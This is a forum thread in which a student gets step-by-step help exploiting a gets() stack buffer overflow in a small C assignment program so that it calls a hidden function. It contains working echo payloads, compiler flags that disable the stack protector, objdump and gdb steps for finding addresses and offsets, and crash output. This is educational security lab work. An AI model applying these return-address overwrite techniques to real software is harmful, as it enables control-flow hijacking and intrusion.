Buffer overflow attack

Hi i am doing a an assignment and was wondering if anyone can walk me through of doing this.

Implement a buffer overflow attack on the program below, isThisGood.c, by exploiting the input, see gets(). You do NOT modify the program below, instead craft a malicious input that causes a successful exploit. Successful exploit invokes the function, oopsIGotToTheBadFunction, though this function is NOT explicitly called in isThisGood.c!

#include <stdio.h>
#include <stdlib.h>

int oopsIGotToTheBadFunction(void)
{
printf ("Gotcha!\n");
exit(0);
}

int goodFunctionUserInput (void)
{
char buf[12];
gets(buf);
return(1);
}

int main(void)
{
goodFunctionUserInput ();
printf("Overflow failed\n");
return(1);
}
Last edited on
I'm no expert, but I guess it's a matter of overwriting the return address in good_function's stack frame with bad_function's address.

That implies that you would run the program in a slightly modified form that prints the address of bad_function. That is not the program you would attack, though. It's just for information. You attack the original program (presumably running on a website somewhere in actual practice).

Assuming that the OS is not randomizing the positioning of things -- which it really should be doing -- you could then encode that address, considering endianess, as hex character codes for input after 12 arbitrary characters to fill up the buffer and any other characters needed to get to the return address.

Are you running it on a system that doesn't randomize addresses (or have you turned it off)?

If this is happening then I don't know how you would do it:
https://en.wikipedia.org/wiki/Address_space_layout_randomization
Last edited on
I was able to execute bad_function like this (the address is the one that worked for me; see below):

echo -e "012345670123456701234567\xb6\x05\x40\x00\x00\x00\x00\x00" | ./overflow

I compiled it like this. In particular, the stack protector needs to be turned off (the stack protector writes some random info between the local variable data and the return value and checks if it's been altered in which case it aborts the program):

gcc -std=c99 -Wno-deprecated-declarations -fno-stack-protector -o overflow overflow.c

I found the address of bad_function using objdump:

objdump -t overflow | grep bad_function

I needed to encode it backwards (little endian) in the echo string since my system (and likely yours) is little endian.

I determined how many characters were needed in front of the address by printing 8-byte chunks as addresses (unsigned longs, actually) near buf to find a good candidate (seemed to be an address in main, whose start address you can find with objdump).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <stdlib.h>

int bad_function() {
    printf ("Gotcha!\n");
    exit(0);
}

int good_function() {
    char buf[12];
//    for (int i = 0; i <= 8; ++i)
//        printf("buf+%d: %lx\n", i, *((unsigned long*)buf + i));
    gets(buf);
    return 1;
}

int main() {
    good_function();
    puts("Overflow failed");
    return 1;
}

Last edited on
Thanks for the reply dutch, I tried what you did but did not have success. Can you take a look at this output.

1
2
3
4
5
6
7
8
9
10
11

$ cc -std=c99 -Wno-deprecated-declarations -fno-stack-protector -o isThisGood isThisGood.c 
~ In function `goodFunctionUserInput':isThisGood.c:(.text+0x3d): warning: warning: this program uses gets(), which is unsafe.
$ objdump -t isThisGood | grep oopsIGotToTheBadFunction
~ 00000000004007b0 g     F .text  0000000000000023              oopsIGotToTheBadFunction
$ $ echo -e "012345670123456701234567\xb7\x07\x40\x00\x00\x00\x00\x00" | ./isThisGood
~ warning: this program uses gets(), which is unsafe.
~ Overflow failed


 


Do you see where I went wrong?
Last edited on
Your address is wrong. You have the last byte as b7 but objdump says b0.

And the exact position of the return address may be different for you, so you may need a different number of characters before the address. I used 24. You might need 16 or 32 or 40 (etc). That's what the little loop in good_function is for, finding a good candidate position. But maybe all you need is to fix that bad byte above.
When i run it with the for loop this is what it prints
1
2
3
4
5
6
7
8
9
buf+0: 60576000000000
buf+1: ffffeb8000000008
buf+2: 40086400007fff
buf+3: a0e7579b00000000
buf+4: a1e17abf
buf+5: ffffebc000000000
buf+6: 4006af00007fff
buf+7: 40053000000000
buf+8: 0

i'm not sure what to do with this information. Yet i fixed the b7 to b0. So when run it using 24 char I get this error:
1
2
3
4
5
6
7
8
9
10
11
12
13
14

$ echo -e "012345670123456701234567\xb0\x07\x40\x00\x00\x00\x00\x00" | ./isThisGood
buf+0: 60576000000000
buf+1: ffffeb8000000008
buf+2: 40086400007fff
buf+3: 13beb63100000000
buf+4: da572ac7
buf+5: ffffebc000000000
buf+6: 4006af00007fff
buf+7: 40053000000000
buf+8: 0
warning: this program uses gets(), which is unsafe.
Bus error (core dumped)

Yet if i do 16 I get
1
2
3

Segmentation fault (core dumped)


32 and 40 give me bus errors as well. I do not know where to go from here. I'd love more help is possible. Thanks!
Run this program and post the results. (Make sure you compile it with -fno-stack-protector.)
Also post the results of the following:

objdump -t isThisGood | grep main

objdump -t isThisGood | grep oops

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>
#include <stdlib.h>

int oopsIGotToTheBadFunction(void)
{
    printf ("Gotcha!\n");
    exit(0);
}

int goodFunctionUserInput (void)
{
    char buf[12];
    // Print 8-byte chunks as addresses starting at buf
    for (int i = 0; i <= 8; ++i)
        printf("buf+%2d: %lx\n", i*8, *((unsigned long*)buf + i));
    printf("\n");
    // Print 8-byte chunks as addresses starting at buf + 4
    for (int i = 0; i <= 8; ++i)
        printf("buf+%2d: %lx\n", i*8+4, *((unsigned long*)(buf + 4) + i));
    gets(buf);
    return(1);
}

int main(void)
{
    goodFunctionUserInput ();
    printf("Overflow failed\n");
    return(1);
}


EDIT: I have a feeling that 20 chars is the correct offset for you. Do an objdump to check the current location of the bad function and try a 20 char offset. (If not 20, than maybe 44 or 52.)
Last edited on
Ran the program here was the result:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
cc -std=c99 -Wno-deprecated-declarations -fno-stack-protector -o isThisGood isThisGood.c

$ objdump -t isThisGood | grep main

00000000004008b0 g     F .text  0000000000000038              main

$ objdump -t isThisGood | grep oops


00000000004007b0 g     F .text  0000000000000023              oopsIGotToTheBadFunction

$ echo -e "11111111111111111111\xb0\x07\x40\x00\x00\x00\x00\x00" | ./isThisGood 

buf+ 0: 60576000000000
buf+ 8: ffffeb8000000008
buf+16: 4008c400007fff
buf+24: f8c0ee6300000000
buf+32: 8f44c7d8
buf+40: ffffebc000000000
buf+48: 4006af00007fff
buf+56: 40053000000000
buf+64: 0

buf+ 4: 800605760
buf+12: 7fffffffeb80
buf+20: 4008c4
buf+28: 8f44c7d8f8c0ee63
buf+36: 0
buf+44: 7fffffffebc0
buf+52: 4006af
buf+60: 400530
buf+68: 0
warning: this program uses gets(), which is unsafe.
Bus error (core dumped)



44 char gives the Bus error (core dumped)
52 char gives the Bus error (core dumped)
Last edited on
As I said initially, I'm no expert. And I'm pretty much out of ideas.

It looks like buf+20 holds the return address back into main since main's address is 4008b0 and the value stored at buf+20 is 4008c4, which is clearly inside main.

What is the output of type cc ?
What is the output of cc -v ?

You could maybe try a 32-bit version like this (I was assuming 64-bit since that's what objdump seems to show.)

echo -e "01234567890123456789\xb0\x07\x40\x00" | ./isThisGood

Last edited on
type cc
cc is hashed (/usr/bin/cc)

cc -v
1
2
3
4
FreeBSD clang version 4.0.0 (tags/RELEASE_400/final 297347) (based on LLVM 4.0.0 )
Target: x86_64-unknown-freebsd11.1
Thread model: posix
InstalledDir: /usr/bin                           


trying echo -e "01234567890123456789\xb0\x07\x40\x00" | ./isThisGood

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
buf+ 0: 60576000000000
buf+ 8: ffffeb8000000008
buf+16: 4008c400007fff
buf+24: 427923c00000000
buf+32: 4c93faf4
buf+40: ffffebc000000000
buf+48: 4006af00007fff
buf+56: 40053000000000
buf+64: 0

buf+ 4: 800605760
buf+12: 7fffffffeb80
buf+20: 4008c4
buf+28: 4c93faf40427923c
buf+36: 0
buf+44: 7fffffffebc0
buf+52: 4006af
buf+60: 400530
buf+68: 0
warning: this program uses gets(), which is unsafe.
Bus error (core dumped)



Here is another topic of the problem i found, but when i try that i get an error as well

http://www.cplusplus.com/forum/unices/218100/


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
 clang++ -ggdb isThisGood.c
clang++: warning: treating 'c' input as 'c++' when in C++ mode, this behavior is deprecated [-Wdeprecated]
/tmp/isThisGood-e90a11.o: In function `goodFunctionUserInput()':
/users/isThisGood.c:18: warning: warning: this program uses gets(), which is unsafe.
$ gdb a.out

GNU gdb 6.1.1 [FreeBSD]
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "amd64-marcel-freebsd"...

(gdb) break goodFunctionUserInput
Breakpoint 1 at 0x400864: file isThisGood.c, line 13.
(gdb) run
Starting program: /mnt/other/users/a.out

Breakpoint 1, goodFunctionUserInput () at isThisGood.c:13
13              for (int i = 0; i <= 8; ++i)
Current language:  auto; currently c++
(gdb) backtrace
#0  goodFunctionUserInput () at isThisGood.c:13
#1  0x0000000000400944 in main () at isThisGood.c:24
(gdb) print /x *buf@40
$1 = {0x0, 0x0, 0x0, 0x0, 0x60, 0x57, 0x60, 0x0, 0x8, 0x0, 0x0, 0x0, 0x50, 0xeb, 0xff, 0xff, 0xff, 0x7f, 0x0, 0x0, 0x44, 0x9,
  0x40, 0x0, 0x0, 0x0, 0x0, 0x0, 0xc7, 0x3b, 0x47, 0x50, 0xdb, 0x22, 0xc9, 0x36, 0x0, 0x0, 0x0, 0x0}
(gdb) print oopsIGotToTheBadFunction
$2 = {int (void)} 0x400830 <oopsIGotToTheBadFunction()>
(gdb) quit
The program is running.  Exit anyway? (y or n) y
$ echo -e "12345678901234256789\x0\x30\x08\x40" | ./a.out
buf+ 0: 60576000000000
buf+ 8: ffffeb9000000008
buf+16: 40094400007fff
buf+24: 80fa84b300000000
buf+32: d291e923
buf+40: ffffebd000000000
buf+48: 40072f00007fff
buf+56: 4005b000000000
buf+64: 0

buf+ 4: 800605760
buf+12: 7fffffffeb90
buf+20: 400944
buf+28: d291e92380fa84b3
buf+36: 0
buf+44: 7fffffffebd0
buf+52: 40072f
buf+60: 4005b0
buf+68: 0
warning: this program uses gets(), which is unsafe.
Segmentation fault (core dumped)

 


Also found this link too : http://www.cplusplus.com/forum/beginner/148111/
Last edited on
It looks like the return address is definitely at buf+20, as suspected, and you are definitely compiling as 64-bits. In your last example your command should have been:

echo -e "12345678901234567890\x30\x08\x40\x00\x00\x00\x00\x00" | ./a.out

Last edited on
just did that last example and changed the command to what you recommended and it gave me another bus error.

Is there another compiler i can try it on maybe that is the problem?

Do you think i have to turn off some system flags that prevent exploit attempts from getting through?
Last edited on
I have no idea. I'm sure there's some useful information in the difference between those "bus errors" and "segmentation faults".

What kind of system are you on? CPU? OS?
I’m not to sure is there a way to figure that out?
From the output of cc -v we can see the following:
OS: freebsd11.1
CPU: x86_64
Compiler: clang 4.0.0

I have one more idea. Maybe it's blowing up because we are overwriting the value at buf+12 which is just before the return address (at buf+20). The value at buf+12 is 0x00007fffffffeb80. Maybe if we also write that value it will work. So try the following: skip 12 bytes, write that new value, then write the return address we want (I'm assuming it's still 0x0000000000400830).

echo -e '123456789012\x80\xeb\xff\xff\xff\x7f\x00\x00\x30\x08\x40\x00\x00\x00\x00\x00" | ./a.out


(If it doesn't work, check the value at buf+12 and make sure it hasn't changed, and also check the address of the bad function.)
Last edited on
used a different linux machine and got it working. Thanks Dutch !
Topic archived. No new replies allowed.